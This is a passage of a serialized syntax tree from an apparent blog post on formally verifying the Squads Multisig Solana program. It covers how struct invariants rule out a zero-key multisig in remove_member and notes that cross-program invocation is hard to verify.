"style":170},[26820],{"type":28,"value":1474},{"type":23,"tag":41,"props":26822,"children":26823},{"style":164},[26824],{"type":28,"value":392},{"type":23,"tag":41,"props":26826,"children":26827},{"style":70},[26828],{"type":28,"value":3506},{"type":23,"tag":41,"props":26830,"children":26831},{"class":43,"line":105},[26832,26836,26840,26844],{"type":23,"tag":41,"props":26833,"children":26834},{"style":858},[26835],{"type":28,"value":25230},{"type":23,"tag":41,"props":26837,"children":26838},{"style":170},[26839],{"type":28,"value":1474},{"type":23,"tag":41,"props":26841,"children":26842},{"style":164},[26843],{"type":28,"value":392},{"type":23,"tag":41,"props":26845,"children":26846},{"style":70},[26847],{"type":28,"value":3506},{"type":23,"tag":41,"props":26849,"children":26850},{"class":43,"line":155},[26851,26855,26859,26863],{"type":23,"tag":41,"props":26852,"children":26853},{"style":858},[26854],{"type":28,"value":25250},{"type":23,"tag":41,"props":26856,"children":26857},{"style":170},[26858],{"type":28,"value":1474},{"type":23,"tag":41,"props":26860,"children":26861},{"style":164},[26862],{"type":28,"value":392},{"type":23,"tag":41,"props":26864,"children":26865},{"style":70},[26866],{"type":28,"value":3506},{"type":23,"tag":41,"props":26868,"children":26869},{"class":43,"line":186},[26870,26874,26878,26882],{"type":23,"tag":41,"props":26871,"children":26872},{"style":858},[26873],{"type":28,"value":25270},{"type":23,"tag":41,"props":26875,"children":26876},{"style":170},[26877],{"type":28,"value":1474},{"type":23,"tag":41,"props":26879,"children":26880},{"style":164},[26881],{"type":28,"value":392},{"type":23,"tag":41,"props":26883,"children":26884},{"style":70},[26885],{"type":28,"value":3506},{"type":23,"tag":41,"props":26887,"children":26888},{"class":43,"line":195},[26889,26893,26897,26901],{"type":23,"tag":41,"props":26890,"children":26891},{"style":858},[26892],{"type":28,"value":23837},{"type":23,"tag":41,"props":26894,"children":26895},{"style":170},[26896],{"type":28,"value":1474},{"type":23,"tag":41,"props":26898,"children":26899},{"style":170},[26900],{"type":28,"value":25298},{"type":23,"tag":41,"props":26902,"children":26903},{"style":70},[26904],{"type":28,"value":3506},{"type":23,"tag":41,"props":26906,"children":26907},{"class":43,"line":905},[26908,26912,26916,26920],{"type":23,"tag":41,"props":26909,"children":26910},{"style":858},[26911],{"type":28,"value":25310},{"type":23,"tag":41,"props":26913,"children":26914},{"style":170},[26915],{"type":28,"value":1474},{"type":23,"tag":41,"props":26917,"children":26918},{"style":64},[26919],{"type":28,"value":1095},{"type":23,"tag":41,"props":26921,"children":26922},{"style":70},[26923],{"type":28,"value":3506},{"type":23,"tag":41,"props":26925,"children":26926},{"class":43,"line":922},[26927,26931,26935,26939],{"type":23,"tag":41,"props":26928,"children":26929},{"style":858},[26930],{"type":28,"value":25330},{"type":23,"tag":41,"props":26932,"children":26933},{"style":170},[26934],{"type":28,"value":1474},{"type":23,"tag":41,"props":26936,"children":26937},{"style":94},[26938],{"type":28,"value":21376},{"type":23,"tag":41,"props":26940,"children":26941},{"style":70},[26942],{"type":28,"value":102},{"type":23,"tag":41,"props":26944,"children":26945},{"class":43,"line":930},[26946,26951,26955,26959],{"type":23,"tag":41,"props":26947,"children":26948},{"style":858},[26949],{"type":28,"value":26950},"            data",{"type":23,"tag":41,"props":26952,"children":26953},{"style":170},[26954],{"type":28,"value":1474},{"type":23,"tag":41,"props":26956,"children":26957},{"style":170},[26958],{"type":28,"value":25298},{"type":23,"tag":41,"props":26960,"children":26961},{"style":70},[26962],{"type":28,"value":3506},{"type":23,"tag":41,"props":26964,"children":26965},{"class":43,"line":939},[26966,26970,26974,26978],{"type":23,"tag":41,"props":26967,"children":26968},{"style":858},[26969],{"type":28,"value":25351},{"type":23,"tag":41,"props":26971,"children":26972},{"style":170},[26973],{"type":28,"value":1474},{"type":23,"tag":41,"props":26975,"children":26976},{"style":164},[26977],{"type":28,"value":392},{"type":23,"tag":41,"props":26979,"children":26980},{"style":70},[26981],{"type":28,"value":3506},{"type":23,"tag":41,"props":26983,"children":26984},{"class":43,"line":947},[26985],{"type":23,"tag":41,"props":26986,"children":26987},{"style":70},[26988],{"type":28,"value":25372},{"type":23,"tag":41,"props":26990,"children":26991},{"class":43,"line":985},[26992],{"type":23,"tag":41,"props":26993,"children":26994},{"style":70},[26995],{"type":28,"value":25380},{"type":23,"tag":41,"props":26997,"children":26998},{"class":43,"line":1058},[26999,27003,27007,27011,27015,27019],{"type":23,"tag":41,"props":27000,"children":27001},{"style":858},[27002],{"type":28,"value":25388},{"type":23,"tag":41,"props":27004,"children":27005},{"style":170},[27006],{"type":28,"value":1474},{"type":23,"tag":41,"props":27008,"children":27009},{"style":94},[27010],{"type":28,"value":25397},{"type":23,"tag":41,"props":27012,"children":27013},{"style":70},[27014],{"type":28,"value":9584},{"type":23,"tag":41,"props":27016,"children":27017},{"style":170},[27018],{"type":28,"value":9589},{"type":23,"tag":41,"props":27020,"children":27021},{"style":70},[27022],{"type":28,"value":25410},{"type":23,"tag":41,"props":27024,"children":27025},{"class":43,"line":1084},[27026],{"type":23,"tag":41,"props":27027,"children":27028},{"style":70},[27029],{"type":28,"value":201},{"type":23,"tag":24,"props":27031,"children":27032},{},[27033],{"type":28,"value":27034},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":27036,"children":27037},{},[27038,27040,27046],{"type":28,"value":27039},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":37,"props":27041,"children":27043},{"className":27042},[],[27044],{"type":28,"value":27045},"Ms::remove_member",{"type":28,"value":1474},{"type":23,"tag":31,"props":27048,"children":27050},{"code":27049,"language":2981,"meta":7,"className":2982,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[27051],{"type":23,"tag":37,"props":27052,"children":27053},{"__ignoreMap":7},[27054,27113,27144,27151],{"type":23,"tag":41,"props":27055,"children":27056},{"class":43,"line":44},[27057,27061,27065,27069,27073,27077,27081,27085,27089,27093,27097,27101,27105,27109],{"type":23,"tag":41,"props":27058,"children":27059},{"style":58},[27060],{"type":28,"value":368},{"type":23,"tag":41,"props":27062,"children":27063},{"style":858},[27064],{"type":28,"value":25842},{"type":23,"tag":41,"props":27066,"children":27067},{"style":170},[27068],{"type":28,"value":706},{"type":23,"tag":41,"props":27070,"children":27071},{"style":70},[27072],{"type":28,"value":14667},{"type":23,"tag":41,"props":27074,"children":27075},{"style":170},[27076],{"type":28,"value":706},{"type":23,"tag":41,"props":27078,"children":27079},{"style":70},[27080],{"type":28,"value":23803},{"type":23,"tag":41,"props":27082,"children":27083},{"style":170},[27084],{"type":28,"value":706},{"type":23,"tag":41,"props":27086,"children":27087},{"style":70},[27088],{"type":28,"value":20970},{"type":23,"tag":41,"props":27090,"children":27091},{"style":170},[27092],{"type":28,"value":706},{"type":23,"tag":41,"props":27094,"children":27095},{"style":114},[27096],{"type":28,"value":9136},{"type":23,"tag":41,"props":27098,"children":27099},{"style":70},[27100],{"type":28,"value":122},{"type":23,"tag":41,"props":27102,"children":27103},{"style":170},[27104],{"type":28,"value":387},{"type":23,"tag":41,"props":27106,"children":27107},{"style":164},[27108],{"type":28,"value":167},{"type":23,"tag":41,"props":27110,"children":27111},{"style":70},[27112],{"type":28,"value":102},{"type":23,"tag":41,"props":27114,"children":27115},{"class":43,"line":54},[27116,27120,27124,27128,27132,27136,27140],{"type":23,"tag":41,"props":27117,"children":27118},{"style":58},[27119],{"type":28,"value":1090},{"type":23,"tag":41,"props":27121,"children":27122},{"style":114},[27123],{"type":28,"value":23506},{"type":23,"tag":41,"props":27125,"children":27126},{"style":70},[27127],{"type":28,"value":1737},{"type":23,"tag":41,"props":27129,"children":27130},{"style":94},[27131],{"type":28,"value":23515},{"type":23,"tag":41,"props":27133,"children":27134},{"style":170},[27135],{"type":28,"value":3479},{"type":23,"tag":41,"props":27137,"children":27138},{"style":94},[27139],{"type":28,"value":25918},{"type":23,"tag":41,"props":27141,"children":27142},{"style":70},[27143],{"type":28,"value":3825},{"type":23,"tag":41,"props":27145,"children":27146},{"class":43,"line":76},[27147],{"type":23,"tag":41,"props":27148,"children":27149},{"style":70},[27150],{"type":28,"value":201},{"type":23,"tag":41,"props":27152,"children":27153},{"class":43,"line":85},[27154,27158,27162,27166,27170,27174,27178,27182,27186,27190,27194,27198],{"type":23,"tag":41,"props":27155,"children":27156},{"style":858},[27157],{"type":28,"value":20269},{"type":23,"tag":41,"props":27159,"children":27160},{"style":170},[27161],{"type":28,"value":706},{"type":23,"tag":41,"props":27163,"children":27164},{"style":70},[27165],{"type":28,"value":14667},{"type":23,"tag":41,"props":27167,"children":27168},{"style":170},[27169],{"type":28,"value":706},{"type":23,"tag":41,"props":27171,"children":27172},{"style":70},[27173],{"type":28,"value":23803},{"type":23,"tag":41,"props":27175,"children":27176},{"style":170},[27177],{"type":28,"value":706},{"type":23,"tag":41,"props":27179,"children":27180},{"style":114},[27181],{"type":28,"value":25465},{"type":23,"tag":41,"props":27183,"children":27184},{"style":70},[27185],{"type":28,"value":1737},{"type":23,"tag":41,"props":27187,"children":27188},{"style":858},[27189],{"type":28,"value":25798},{"type":23,"tag":41,"props":27191,"children":27192},{"style":70},[27193],{"type":28,"value":2678},{"type":23,"tag":41,"props":27195,"children":27196},{"style":170},[27197],{"type":28,"value":3155},{"type":23,"tag":41,"props":27199,"children":27200},{"style":70},[27201],{"type":28,"value":183},{"type":23,"tag":24,"props":27203,"children":27204},{},[27205,27207,27213,27215,27221],{"type":28,"value":27206},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":37,"props":27208,"children":27210},{"className":27209},[],[27211],{"type":28,"value":27212},"Ms::is_member",{"type":28,"value":27214},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":37,"props":27216,"children":27218},{"className":27217},[],[27219],{"type":28,"value":27220},"Ok(())",{"type":28,"value":706},{"type":23,"tag":31,"props":27223,"children":27225},{"code":27224,"language":2981,"meta":7,"className":2982,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[27226],{"type":23,"tag":37,"props":27227,"children":27228},{"__ignoreMap":7},[27229,27293,27352,27389,27448,27516,27523,27530,27541],{"type":23,"tag":41,"props":27230,"children":27231},{"class":43,"line":44},[27232,27236,27240,27244,27248,27252,27256,27260,27264,27269,27273,27277,27281,27285,27289],{"type":23,"tag":41,"props":27233,"children":27234},{"style":64},[27235],{"type":28,"value":13685},{"type":23,"tag":41,"props":27237,"children":27238},{"style":64},[27239],{"type":28,"value":13690},{"type":23,"tag":41,"props":27241,"children":27242},{"style":114},[27243],{"type":28,"value":25764},{"type":23,"tag":41,"props":27245,"children":27246},{"style":70},[27247],{"type":28,"value":1737},{"type":23,"tag":41,"props":27249,"children":27250},{"style":170},[27251],{"type":28,"value":855},{"type":23,"tag":41,"props":27253,"children":27254},{"style":64},[27255],{"type":28,"value":3723},{"type":23,"tag":41,"props":27257,"children":27258},{"style":64},[27259],{"type":28,"value":13791},{"type":23,"tag":41,"props":27261,"children":27262},{"style":70},[27263],{"type":28,"value":970},{"type":23,"tag":41,"props":27265,"children":27266},{"style":858},[27267],{"type":28,"value":27268},"member",{"type":23,"tag":41,"props":27270,"children":27271},{"style":170},[27272],{"type":28,"value":1474},{"type":23,"tag":41,"props":27274,"children":27275},{"style":94},[27276],{"type":28,"value":20844},{"type":23,"tag":41,"props":27278,"children":27279},{"style":70},[27280],{"type":28,"value":866},{"type":23,"tag":41,"props":27282,"children":27283},{"style":170},[27284],{"type":28,"value":2453},{"type":23,"tag":41,"props":27286,"children":27287},{"style":94},[27288],{"type":28,"value":13756},{"type":23,"tag":41,"props":27290,"children":27291},{"style":70},[27292],{"type":28,"value":20320},{"type":23,"tag":41,"props":27294,"children":27295},{"class":43,"line":54},[27296,27300,27305,27310,27314,27319,27323,27327,27331,27335,27340,27344,27348],{"type":23,"tag":41,"props":27297,"children":27298},{"style":58},[27299],{"type":28,"value":2440},{"type":23,"tag":41,"props":27301,"children":27302},{"style":64},[27303],{"type":28,"value":27304}," let",{"type":23,"tag":41,"props":27306,"children":27307},{"style":94},[27308],{"type":28,"value":27309}," Some",{"type":23,"tag":41,"props":27311,"children":27312},{"style":70},[27313],{"type":28,"value":1737},{"type":23,"tag":41,"props":27315,"children":27316},{"style":858},[27317],{"type":28,"value":27318},"ind",{"type":23,"tag":41,"props":27320,"children":27321},{"style":70},[27322],{"type":28,"value":866},{"type":23,"tag":41,"props":27324,"children":27325},{"style":170},[27326],{"type":28,"value":2381},{"type":23,"tag":41,"props":27328,"children":27329},{"style":64},[27330],{"type":28,"value":13791},{"type":23,"tag":41,"props":27332,"children":27333},{"style":170},[27334],{"type":28,"value":706},{"type":23,"tag":41,"props":27336,"children":27337},{"style":114},[27338],{"type":28,"value":27339},"is_member",{"type":23,"tag":41,"props":27341,"children":27342},{"style":70},[27343],{"type":28,"value":1737},{"type":23,"tag":41,"props":27345,"children":27346},{"style":858},[27347],{"type":28,"value":27268},{"type":23,"tag":41,"props":27349,"children":27350},{"style":70},[27351],{"type":28,"value":152},{"type":23,"tag":41,"props":27353,"children":27354},{"class":43,"line":76},[27355,27360,27364,27368,27372,27377,27381,27385],{"type":23,"tag":41,"props":27356,"children":27357},{"style":64},[27358],{"type":28,"value":27359},"        self",{"type":23,"tag":41,"props":27361,"children":27362},{"style":170},[27363],{"type":28,"value":706},{"type":23,"tag":41,"props":27365,"children":27366},{"style":70},[27367],{"type":28,"value":20970},{"type":23,"tag":41,"props":27369,"children":27370},{"style":170},[27371],{"type":28,"value":706},{"type":23,"tag":41,"props":27373,"children":27374},{"style":114},[27375],{"type":28,"value":27376},"remove",{"type":23,"tag":41,"props":27378,"children":27379},{"style":70},[27380],{"type":28,"value":1737},{"type":23,"tag":41,"props":27382,"children":27383},{"style":858},[27384],{"type":28,"value":27318},{"type":23,"tag":41,"props":27386,"children":27387},{"style":70},[27388],{"type":28,"value":3825},{"type":23,"tag":41,"props":27390,"children":27391},{"class":43,"line":85},[27392,27396,27400,27404,27408,27412,27416,27420,27424,27428,27432,27436,27440,27444],{"type":23,"tag":41,"props":27393,"children":27394},{"style":58},[27395],{"type":28,"value":3272},{"type":23,"tag":41,"props":27397,"children":27398},{"style":64},[27399],{"type":28,"value":13791},{"type":23,"tag":41,"props":27401,"children":27402},{"style":170},[27403],{"type":28,"value":706},{"type":23,"tag":41,"props":27405,"children":27406},{"style":70},[27407],{"type":28,"value":20970},{"type":23,"tag":41,"props":27409,"children":27410},{"style":170},[27411],{"type":28,"value":706},{"type":23,"tag":41,"props":27413,"children":27414},{"style":114},[27415],{"type":28,"value":9136},{"type":23,"tag":41,"props":27417,"children":27418},{"style":70},[27419],{"type":28,"value":26043},{"type":23,"tag":41,"props":27421,"children":27422},{"style":94},[27423],{"type":28,"value":16589},{"type":23,"tag":41,"props":27425,"children":27426},{"style":170},[27427],{"type":28,"value":3479},{"type":23,"tag":41,"props":27429,"children":27430},{"style":114},[27431],{"type":28,"value":19461},{"type":23,"tag":41,"props":27433,"children":27434},{"style":70},[27435],{"type":28,"value":1737},{"type":23,"tag":41,"props":27437,"children":27438},{"style":64},[27439],{"type":28,"value":13708},{"type":23,"tag":41,"props":27441,"children":27442},{"style":170},[27443],{"type":28,"value":706},{"type":23,"tag":41,"props":27445,"children":27446},{"style":70},[27447],{"type":28,"value":26088},{"type":23,"tag":41,"props":27449,"children":27450},{"class":43,"line":105},[27451,27456,27460,27464,27468,27472,27476,27480,27484,27488,27492,27496,27500,27504,27508,27512],{"type":23,"tag":41,"props":27452,"children":27453},{"style":64},[27454],{"type":28,"value":27455},"            self",{"type":23,"tag":41,"props":27457,"children":27458},{"style":170},[27459],{"type":28,"value":706},{"type":23,"tag":41,"props":27461,"children":27462},{"style":70},[27463],{"type":28,"value":21058},{"type":23,"tag":41,"props":27465,"children":27466},{"style":170},[27467],{"type":28,"value":2381},{"type":23,"tag":41,"props":27469,"children":27470},{"style":64},[27471],{"type":28,"value":13791},{"type":23,"tag":41,"props":27473,"children":27474},{"style":170},[27475],{"type":28,"value":706},{"type":23,"tag":41,"props":27477,"children":27478},{"style":70},[27479],{"type":28,"value":20970},{"type":23,"tag":41,"props":27481,"children":27482},{"style":170},[27483],{"type":28,"value":706},{"type":23,"tag":41,"props":27485,"children":27486},{"style":114},[27487],{"type":28,"value":9136},{"type":23,"tag":41,"props":27489,"children":27490},{"style":70},[27491],{"type":28,"value":13873},{"type":23,"tag":41,"props":27493,"children":27494},{"style":170},[27495],{"type":28,"value":706},{"type":23,"tag":41,"props":27497,"children":27498},{"style":114},[27499],{"type":28,"value":26161},{"type":23,"tag":41,"props":27501,"children":27502},{"style":70},[27503],{"type":28,"value":13873},{"type":23,"tag":41,"props":27505,"children":27506},{"style":170},[27507],{"type":28,"value":706},{"type":23,"tag":41,"props":27509,"children":27510},{"style":114},[27511],{"type":28,"value":3664},{"type":23,"tag":41,"props":27513,"children":27514},{"style":70},[27515],{"type":28,"value":3669},{"type":23,"tag":41,"props":27517,"children":27518},{"class":43,"line":155},[27519],{"type":23,"tag":41,"props":27520,"children":27521},{"style":70},[27522],{"type":28,"value":3347},{"type":23,"tag":41,"props":27524,"children":27525},{"class":43,"line":186},[27526],{"type":23,"tag":41,"props":27527,"children":27528},{"style":70},[27529],{"type":28,"value":192},{"type":23,"tag":41,"props":27531,"children":27532},{"class":43,"line":195},[27533,27537],{"type":23,"tag":41,"props":27534,"children":27535},{"style":94},[27536],{"type":28,"value":14325},{"type":23,"tag":41,"props":27538,"children":27539},{"style":70},[27540],{"type":28,"value":14330},{"type":23,"tag":41,"props":27542,"children":27543},{"class":43,"line":905},[27544],{"type":23,"tag":41,"props":27545,"children":27546},{"style":70},[27547],{"type":28,"value":201},{"type":23,"tag":24,"props":27549,"children":27550},{},[27551,27553,27558,27560,27566,27568,27574,27576,27581],{"type":28,"value":27552},"Inside ",{"type":23,"tag":37,"props":27554,"children":27556},{"className":27555},[],[27557],{"type":28,"value":27212},{"type":28,"value":27559},", we see that it performs a ",{"type":23,"tag":37,"props":27561,"children":27563},{"className":27562},[],[27564],{"type":28,"value":27565},"binary_search",{"type":28,"value":27567}," on the keys vec and returns the index or ",{"type":23,"tag":37,"props":27569,"children":27571},{"className":27570},[],[27572],{"type":28,"value":27573},"None",{"type":28,"value":27575},". Since the vec has size zero, this will just return ",{"type":23,"tag":37,"props":27577,"children":27579},{"className":27578},[],[27580],{"type":28,"value":27573},{"type":28,"value":706},{"type":23,"tag":31,"props":27583,"children":27585},{"code":27584,"language":2981,"meta":7,"className":2982,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[27586],{"type":23,"tag":37,"props":27587,"children":27588},{"__ignoreMap":7},[27589,27658,27701,27740,27762,27769],{"type":23,"tag":41,"props":27590,"children":27591},{"class":43,"line":44},[27592,27596,27600,27605,27609,27613,27617,27621,27625,27629,27633,27637,27641,27646,27650,27654],{"type":23,"tag":41,"props":27593,"children":27594},{"style":64},[27595],{"type":28,"value":13685},{"type":23,"tag":41,"props":27597,"children":27598},{"style":64},[27599],{"type":28,"value":13690},{"type":23,"tag":41,"props":27601,"children":27602},{"style":114},[27603],{"type":28,"value":27604}," is_member",{"type":23,"tag":41,"props":27606,"children":27607},{"style":70},[27608],{"type":28,"value":1737},{"type":23,"tag":41,"props":27610,"children":27611},{"style":170},[27612],{"type":28,"value":855},{"type":23,"tag":41,"props":27614,"children":27615},{"style":64},[27616],{"type":28,"value":13708},{"type":23,"tag":41,"props":27618,"children":27619},{"style":70},[27620],{"type":28,"value":970},{"type":23,"tag":41,"props":27622,"children":27623},{"style":858},[27624],{"type":28,"value":27268},{"type":23,"tag":41,"props":27626,"children":27627},{"style":170},[27628],{"type":28,"value":1474},{"type":23,"tag":41,"props":27630,"children":27631},{"style":94},[27632],{"type":28,"value":20844},{"type":23,"tag":41,"props":27634,"children":27635},{"style":70},[27636],{"type":28,"value":866},{"type":23,"tag":41,"props":27638,"children":27639},{"style":170},[27640],{"type":28,"value":2453},{"type":23,"tag":41,"props":27642,"children":27643},{"style":94},[27644],{"type":28,"value":27645}," Option",{"type":23,"tag":41,"props":27647,"children":27648},{"style":70},[27649],{"type":28,"value":1012},{"type":23,"tag":41,"props":27651,"children":27652},{"style":94},[27653],{"type":28,"value":16589},{"type":23,"tag":41,"props":27655,"children":27656},{"style":70},[27657],{"type":28,"value":7280},{"type":23,"tag":41,"props":27659,"children":27660},{"class":43,"line":54},[27661,27665,27669,27673,27677,27681,27685,27689,27693,27697],{"type":23,"tag":41,"props":27662,"children":27663},{"style":58},[27664],{"type":28,"value":14745},{"type":23,"tag":41,"props":27666,"children":27667},{"style":64},[27668],{"type":28,"value":13791},{"type":23,"tag":41,"props":27670,"children":27671},{"style":170},[27672],{"type":28,"value":706},{"type":23,"tag":41,"props":27674,"children":27675},{"style":70},[27676],{"type":28,"value":20970},{"type":23,"tag":41,"props":27678,"children":27679},{"style":170},[27680],{"type":28,"value":706},{"type":23,"tag":41,"props":27682,"children":27683},{"style":114},[27684],{"type":28,"value":27565},{"type":23,"tag":41,"props":27686,"children":27687},{"style":70},[27688],{"type":28,"value":1737},{"type":23,"tag":41,"props":27690,"children":27691},{"style":170},[27692],{"type":28,"value":855},{"type":23,"tag":41,"props":27694,"children":27695},{"style":858},[27696],{"type":28,"value":27268},{"type":23,"tag":41,"props":27698,"children":27699},{"style":70},[27700],{"type":28,"value":152},{"type":23,"tag":41,"props":27702,"children":27703},{"class":43,"line":76},[27704,27708,27712,27716,27720,27724,27728,27732,27736],{"type":23,"tag":41,"props":27705,"children":27706},{"style":94},[27707],{"type":28,"value":14803},{"type":23,"tag":41,"props":27709,"children":27710},{"style":70},[27711],{"type":28,"value":1737},{"type":23,"tag":41,"props":27713,"children":27714},{"style":858},[27715],{"type":28,"value":27318},{"type":23,"tag":41,"props":27717,"children":27718},{"style":70},[27719],{"type":28,"value":866},{"type":23,"tag":41,"props":27721,"children":27722},{"style":170},[27723],{"type":28,"value":14813},{"type":23,"tag":41,"props":27725,"children":27726},{"style":94},[27727],{"type":28,"value":27309},{"type":23,"tag":41,"props":27729,"children":27730},{"style":70},[27731],{"type":28,"value":1737},{"type":23,"tag":41,"props":27733,"children":27734},{"style":858},[27735],{"type":28,"value":27318},{"type":23,"tag":41,"props":27737,"children":27738},{"style":70},[27739],{"type":28,"value":6735},{"type":23,"tag":41,"props":27741,"children":27742},{"class":43,"line":85},[27743,27748,27753,27758],{"type":23,"tag":41,"props":27744,"children":27745},{"style":858},[27746],{"type":28,"value":27747},"        _",{"type":23,"tag":41,"props":27749,"children":27750},{"style":170},[27751],{"type":28,"value":27752}," =>",{"type":23,"tag":41,"props":27754,"children":27755},{"style":94},[27756],{"type":28,"value":27757}," None",{"type":23,"tag":41,"props":27759,"children":27760},{"style":70},[27761],{"type":28,"value":3506},{"type":23,"tag":41,"props":27763,"children":27764},{"class":43,"line":105},[27765],{"type":23,"tag":41,"props":27766,"children":27767},{"style":70},[27768],{"type":28,"value":192},{"type":23,"tag":41,"props":27770,"children":27771},{"class":43,"line":155},[27772],{"type":23,"tag":41,"props":27773,"children":27774},{"style":70},[27775],{"type":28,"value":201},{"type":23,"tag":24,"props":27777,"children":27778},{},[27779,27781,27786,27788,27793,27795,27800,27802,27807],{"type":28,"value":27780},"So interestingly, a ",{"type":23,"tag":37,"props":27782,"children":27784},{"className":27783},[],[27785],{"type":28,"value":20970},{"type":28,"value":27787}," vec of size 0 ",{"type":23,"tag":2913,"props":27789,"children":27790},{},[27791],{"type":28,"value":27792},"is actually",{"type":28,"value":27794}," a sufficient condition to execute ",{"type":23,"tag":37,"props":27796,"children":27798},{"className":27797},[],[27799],{"type":28,"value":25465},{"type":28,"value":27801},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":2913,"props":27803,"children":27804},{},[27805],{"type":28,"value":27806},"valid",{"type":28,"value":27808}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":27810,"children":27811},{},[27812,27814,27819],{"type":28,"value":27813},"We can represent this ",{"type":23,"tag":2913,"props":27815,"children":27816},{},[27817],{"type":28,"value":27818},"validity",{"type":28,"value":27820}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":31,"props":27822,"children":27824},{"code":27823,"language":2981,"meta":7,"className":2982,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27825],{"type":23,"tag":37,"props":27826,"children":27827},{"__ignoreMap":7},[27828,27835,27858,27909,27916],{"type":23,"tag":41,"props":27829,"children":27830},{"class":43,"line":44},[27831],{"type":23,"tag":41,"props":27832,"children":27833},{"style":70},[27834],{"type":28,"value":20765},{"type":23,"tag":41,"props":27836,"children":27837},{"class":43,"line":54},[27838,27842,27846,27850,27854],{"type":23,"tag":41,"props":27839,"children":27840},{"style":70},[27841],{"type":28,"value":24728},{"type":23,"tag":41,"props":27843,"children":27844},{"style":170},[27845],{"type":28,"value":706},{"type":23,"tag":41,"props":27847,"children":27848},{"style":70},[27849],{"type":28,"value":21058},{"type":23,"tag":41,"props":27851,"children":27852},{"style":170},[27853],{"type":28,"value":9941},{"type":23,"tag":41,"props":27855,"children":27856},{"style":70},[27857],{"type":28,"value":21067},{"type":23,"tag":41,"props":27859,"children":27860},{"class":43,"line":76},[27861,27865,27869,27873,27877,27881,27885,27889,27893,27897,27901,27905],{"type":23,"tag":41,"props":27862,"children":27863},{"style":170},[27864],{"type":28,"value":15612},{"type":23,"tag":41,"props":27866,"children":27867},{"style":70},[27868],{"type":28,"value":20991},{"type":23,"tag":41,"props":27870,"children":27871},{"style":170},[27872],{"type":28,"value":706},{"type":23,"tag":41,"props":27874,"children":27875},{"style":70},[27876],{"type":28,"value":21058},{"type":23,"tag":41,"props":27878,"children":27879},{"style":64},[27880],{"type":28,"value":8838},{"type":23,"tag":41,"props":27882,"children":27883},{"style":94},[27884],{"type":28,"value":13726},{"type":23,"tag":41,"props":27886,"children":27887},{"style":170},[27888],{"type":28,"value":8196},{"type":23,"tag":41,"props":27890,"children":27891},{"style":70},[27892],{"type":28,"value":13791},{"type":23,"tag":41,"props":27894,"children":27895},{"style":170},[27896],{"type":28,"value":706},{"type":23,"tag":41,"props":27898,"children":27899},{"style":70},[27900],{"type":28,"value":20970},{"type":23,"tag":41,"props":27902,"children":27903},{"style":170},[27904],{"type":28,"value":706},{"type":23,"tag":41,"props":27906,"children":27907},{"style":70},[27908],{"type":28,"value":21119},{"type":23,"tag":41,"props":27910,"children":27911},{"class":43,"line":85},[27912],{"type":23,"tag":41,"props":27913,"children":27914},{"style":70},[27915],{"type":28,"value":20247},{"type":23,"tag":41,"props":27917,"children":27918},{"class":43,"line":105},[27919,27923,27927,27931,27935,27939],{"type":23,"tag":41,"props":27920,"children":27921},{"style":64},[27922],{"type":28,"value":13685},{"type":23,"tag":41,"props":27924,"children":27925},{"style":64},[27926],{"type":28,"value":21138},{"type":23,"tag":41,"props":27928,"children":27929},{"style":94},[27930],{"type":28,"value":21143},{"type":23,"tag":41,"props":27932,"children":27933},{"style":70},[27934],{"type":28,"value":9584},{"type":23,"tag":41,"props":27936,"children":27937},{"style":170},[27938],{"type":28,"value":9589},{"type":23,"tag":41,"props":27940,"children":27941},{"style":70},[27942],{"type":28,"value":9594},{"type":23,"tag":24,"props":27944,"children":27945},{},[27946,27948,27954,27956,27962],{"type":28,"value":27947},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":37,"props":27949,"children":27951},{"className":27950},[],[27952],{"type":28,"value":27953},"keys.len() == 0",{"type":28,"value":27955}," and allows us to prove the biconditional ",{"type":23,"tag":37,"props":27957,"children":27959},{"className":27958},[],[27960],{"type":28,"value":27961},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":706},{"type":23,"tag":546,"props":27964,"children":27966},{"id":27965},"safety-guarantees",[27967],{"type":28,"value":22771},{"type":23,"tag":24,"props":27969,"children":27970},{},[27971],{"type":28,"value":27972},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":27974,"children":27975},{},[27976],{"type":28,"value":27977},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":27979,"children":27980},{},[27981,27983,27989],{"type":28,"value":27982},"In the multisig program this happens in the ",{"type":23,"tag":37,"props":27984,"children":27986},{"className":27985},[],[27987],{"type":28,"value":27988},"execute_transaction",{"type":28,"value":27990}," instruction.",{"type":23,"tag":24,"props":27992,"children":27993},{},[27994],{"type":23,"tag":2913,"props":27995,"children":27996},{},[27997],{"type":28,"value":27998},"So what do you do?",{"type":23,"tag":24,"props":28000,"children":28001},{},[28002],{"type":28,"value":28003},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":31,"props":28005,"children":28007},{"code":28006,"language":2981,"meta":7,"className":2982,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, 